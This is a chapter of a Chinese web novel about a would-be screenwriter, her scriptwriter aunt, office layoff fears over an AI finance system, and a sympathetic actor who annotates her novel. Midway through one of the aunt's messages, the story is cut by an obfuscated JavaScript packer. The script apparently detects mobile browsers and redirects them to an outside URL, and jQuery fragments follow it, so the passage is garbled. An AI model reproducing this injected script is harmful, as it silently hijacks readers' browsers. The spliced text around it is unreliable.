许者清按下发送键,将小说改编的十六集分集大纲发给了姨妈。
她盯着亮起的屏幕,眼睛一眨不眨。
解脱感没有如约降临。取而代之的,是更深的失落。
小说写了三个月。分集大纲用了十来天。
虽说不算毫无经验,但完完全全独立去写,是头一回。
写的时候就觉得很难,但抱有一丝侥幸,说不定能写出点惊艳之处,现在看来,不过是妄想。
她抬起头,目光落在墙上。
花钱定制的“战斗宣言”,红底黄字,嚣张地悬着。
那是在没有动笔前就挂上去的。那会儿觉得,在吸引力法则的加持下,说不定自己就能被激励,从而爆发出洪荒之力。
现在,她只觉得这艳红的色块让人眩晕。
如果说世界是个大型的草台班子,她许者清,不过是这个班子里一个更迷你的版本。
她却自不量力。
心里的声音似乎得到了回应一般,“嗤啦”一声。
胶条剥离,横幅斜斜地垂挂下来。
许者清苦笑。
视线回到屏幕,姨妈还没回复。
微信提示音"滴噔"一响。
不是姨妈,却是邬陈奕。
他发来一个PDF文件,下面跟着一句话:【可能对你有帮助。】
许者清搭在鼠标上的手指没动。她松开手,整个人陷进椅背,合上眼皮。
后天就要上班了。
辞职的念头日益强烈。她原本指望,如果这边有眉目……
手机响了。
是语音邀请,姨妈的微信头像跳了出来。
许者清转而用手机接听。
"怎么回事?"姨妈语气有点急,"不是让你写项目企划书吗?怎么一上来就写分集大纲了?小说是小说,也不能完全照搬。我是让你以小说为蓝本写个初稿,后面大家再改,不能一开始就写分集大纲。"
许者清脸色一沉,抿了抿唇。
"姨妈,是你让我写分集大纲的。你记错了。"
那边安静了几秒。
再开口时,语气软了下来:"这样啊……那可能我记错了。今天冯总要我交项目计划书,这个我来写,你就别管了。后面怎么弄我再通知你。"
看得出姨妈在应付甲方,有点焦头烂额。
许者清实在不好意思在这时开口问她:如果我辞职,你会支持我吗?
"好的。姨妈你快去忙吧。"
正要挂断,那头声音又追过来:"等等,你那个大纲我扫了一眼。我跟你说过呀,别搞创新。这项目的关键是营销、是炒作,剧本过得去就行。你搞新花样,到头来吃亏的是你——出了事,他们正好拿这个给你背锅。"
"可最初的需求手册上写着,要求突破,要求落地,要求符合现实逻辑。如果按套路写,达不到要求。"
姨妈短笑一声,"都是形式主义懂不懂。好了,不讲了,我去写计划书了。"
挂断电话,许者清的目光落回墙上垮掉的横幅。
她走过去,一把将它从墙上扯下来,攥在手里,揉成一团。
胸腔里一口长气,缓缓吐出。
手机又响了。
是同事李姐。她与许者清同年,只因早婚早育,加上作风老派,大家都这么叫她。
"小许,后天来上班了吧?"
"找我有事?"
“那个——”李姐的声音顿了顿,“你假休完了?”
“嗯。”
“挺好。”李姐笑了一声,“我也想休了。压力大,再找工作也麻烦。不过话说回来,像我这种人,要么不上班,要上班就能勤勤恳恳早出晚归,生活规律。闲着我反而懒散,孩子也带不好。所以我其实无所谓——裁到我头上,我就当放假;裁不到我,我就继续干。”
她停了一下,语气听起来像是随口一提:“跟你说个笑话。办公室都在传,说你嫁了个有钱人,这次休假回来就会辞职。哈哈……我跟他们说不可能,你不是寄托婚姻的人。”
许者清没接话。
她听懂了,李姐不是在传八卦,是在投石问路,确认如果许者清被裁了,李姐自己就安全了。
她只笑了一下,“公司的财务系统是不是已经弄好了?这么快?”
对面的声音顿住。
"你怎么知道?"
"我不知道。猜的。"
"真聪明。那个AI板块的新财务系统,其实半个月就出了雏形,已经很好用了,一个礼拜前已经开始测试。我估计最多三个月就能完全上线。公司已经要求我们把每天用AI的时长计入考核了。"
许者清点头:"嗯,我在群里和系统里都看见了。"
"你说这回……"李姐叹了口气,"肯定要裁员了……希望裁的不是我。"
停了停,她又补了一句:"咳,当然也不会是你。"
没有悬念的聊天,变得索然无味。
许者清打了个哈欠,闭眼笑了笑:"那就先这样吧,李姐,后天我就来了。"
李姐的话似乎没说完,也只好讪讪收线。
晚饭或者说是宵夜,许者清给自己煮了碗螺蛳粉。
吃完想喝两口汤,又怕长胖。
许者清扯了扯唇角。人生真苦,处处是限制,处处不自由。
然后她趁热,又喝了一大口辣汤。
笔记本电脑架在支架上。姨妈的微信登录在电脑端,聊天框打开着,占据屏幕中央。
她已两天没怎么管姨妈的那些群消息了,必要才回两句,倒也相安无事。
冯总的头像在聊天列表里闪了闪。
许者清点开,姨妈通过手机发过去一份Word文档,名为"霸总项目企划书"。
她下载下来,打开。
内容如姨妈所说,平平无奇。一个套路化的霸总故事,像《命中注定我爱你》混了《流星花园》,又加上了《黑暗荣耀》和《王子变青蛙》的变种。看似有趣,但漏洞百出。
冯总的语音几乎立刻弹了过来,语气不善:
"葛颖超,你平时在外面立毒舌人设,我都是支持你的。这种有助于让人对你刮目相看,树立专业形象。但你知道你有时用力过猛,得罪了不少人,都是我在后面帮你收尾。"
葛颖超:【我知道,多谢冯总担待。】
"大家因你人设抬高了期待,你写的东西不行,一切白搭!我们这是精品短剧项目,不能只照顾下沉市场,为了噱头而噱头。需求手册上写得清清楚楚,你看看你写的什么?连讨论的必要都没有。"
这些话刚发完,电脑微信就提示"被下线",很明显是姨妈退出了电脑登录。
许者清屏住了呼吸。
姨妈的人设,是装的?
她看过姨妈的剧本,也帮她写过东西。那些本子,读的时候只觉得质量平平。
可是,姨妈参与的作品播出后收视总是不差,找她的电话也一个接一个。那个时候她只觉是因为自己不够专业,看不懂影视行业选择故事的内在逻辑。
这个想法一旦冒头,她便再也无法像从前那样看待姨妈,却又无法全然确信自己的判断。
两种思绪缠在一块,叫她有些茫然。
转而,另一个想法又浮上来——
有没有可能,姨妈本是有才华的,只是被各方意见牵着走,无法自主创作,才施展不开?
过了一会儿,手机扣扣上姨妈发来消息:"你再登上去,刚才手误了。"
重新登录微信,冯总的聊天框已经不见了。
许者清在扣扣上问:【姨妈,接下来我该怎么做?】
葛颖超:【你先不用管。等我确定好和冯总那边的故事方向,再找你。】
许者清:【那微信还要登吗?】
葛颖超:【你先登着。我还有别的渠道联系。这个微信号上比较杂,你能敷衍的就帮我敷衍下。有什么重要的信息告诉我。】
许者清:【收到。】
她放下手机,在椅子上坐了一会儿。
然后重新拿起它,敲出犹豫了很久的话:【姨妈,你觉得我……有一点点写故事的天赋?】
那边顿了几秒。
葛颖超:【这个问题,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591066|205463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我现在回答不了你。】
许者清盯着这行字,心里好像刮起了风。确切地说,是风声——在耳道里呼呼地吹,她耳鸣了。
明明心里什么感觉都没有,身体却先替她反应了。
失望?无奈?苦楚?
她似笑非笑,揉了揉耳朵。
退出聊天,点开了邬陈奕发来的那个PDF。
一点开,里面是一本小说,赫然是她自己写的那本。写完后挂在网上免费给人看,几乎没管过,收藏量刚过三千。
上次他就发过一次,她当时没有做出回应。
这次又来?
邬陈奕是怎么找到的?
她没有深想,继续往下翻。PDF上有他为小说做的批注。
一处画了线的段落旁边写着:【这里节奏可以再慢一点。让读者停留。】另一处只圈了一个词,批了一个问号,没写别的。
继续往下看,其中一条写着:【当霸总讨厌霸总。莎士比亚的弑父改成弑自己,又何尝不是一种真正的霸道?内化的霸道。】
许者清后颈一凉,整个人愣住了。
这真是她认识的邬陈奕吗?
她想不通,但又不得不承认,他这句话,正好戳中了她心底那个模糊的念头。
她一直想写的,正是一个“讨厌当霸总”的霸总。他应当先成为一个真正的“人”,而后才称得上真正的“总裁”。
就像《傲慢与偏见》里的达西先生。他身处那个阶级分明的时代,地位、家世、教养,一切都赋予了他居高临下的资本。他的高傲并非刻意,更像是环境与习惯共同浇灌出的果实。
然后他遇见了伊丽莎白,遇见了另一种生命力。他看见了那个被傲慢外壳包裹着的、狭隘的自己。
最终,他亲手打破了那层外壳。一种更宽阔的胸怀取代了昔日的优越感,他由此蜕变为一位真正的绅士。
……
脑中自顾自地生出许多絮语,绵绵不绝。
她安静地听着这些声音在脑内回响。
和邬陈奕的沟通一直是用文字,但此刻,聊天框里跳出一条语音消息。
许者清点开。
她愣了一下,指尖悬在触摸板上方没动。
笔记本喇叭传出低沉浑厚的男声,普通话标准,吐字清晰,带着一种沉浸的叙事感:“你看了吗?”
窗帘拉开着,月光洒进来,落在她脚边。
她又点了一次。
“你看了吗?”
温柔,沉静。
许者清不禁点了点头,将手放回键盘,正要打字。
邬陈奕又发来一条文字消息:【不好意思,在拍夜戏,打字不太方便。】
许者清:【没事,你发语音就好。】
他又发来一段:“好。如果您听语音不方便,随时告诉我。”
许者清删掉对话框里打了一半的话,重新输入:【你觉得,怎么把‘霸总讨厌当霸总’这么抽象的概念外化,让读者体会到我想表达的?】
问这个问题的时候,其实,她心里有个参考答案,但没把握。
她准备让霸总在不得不按霸总逻辑行事时,产生生理性抵触。不是有句话吗?身体比你更懂自己。
屏幕那头,邬陈奕又发来语音。
“让霸总干呕,甚至呕吐,你觉得怎么样?……葛编剧觉得呢?”
停顿了两秒。
许者清苦涩地笑了笑。
她从没想过,懂她的人是他。
兵荒马乱的一整天,自我怀疑、迷茫、失落……种种情绪翻涌,许者清只觉得五脏六腑里都塞满了狰狞的啸叫。
她不知道该如何让这喧嚣停歇。
直到那个声音响起。
世界仿佛被一只无形的手缓缓抚平,那些躁动不急不慢地沉淀下来,归于安宁。
手指仍悬在键盘上方,忘了按下。她盯着屏幕,恍惚了几秒。
等神智回笼,对话框里已静静躺着两个字:谢谢。
什么时候敲下的,她自己也不记得。
身下粉色的椅脚旁,洒着一地如水月光,光斑微微晃动。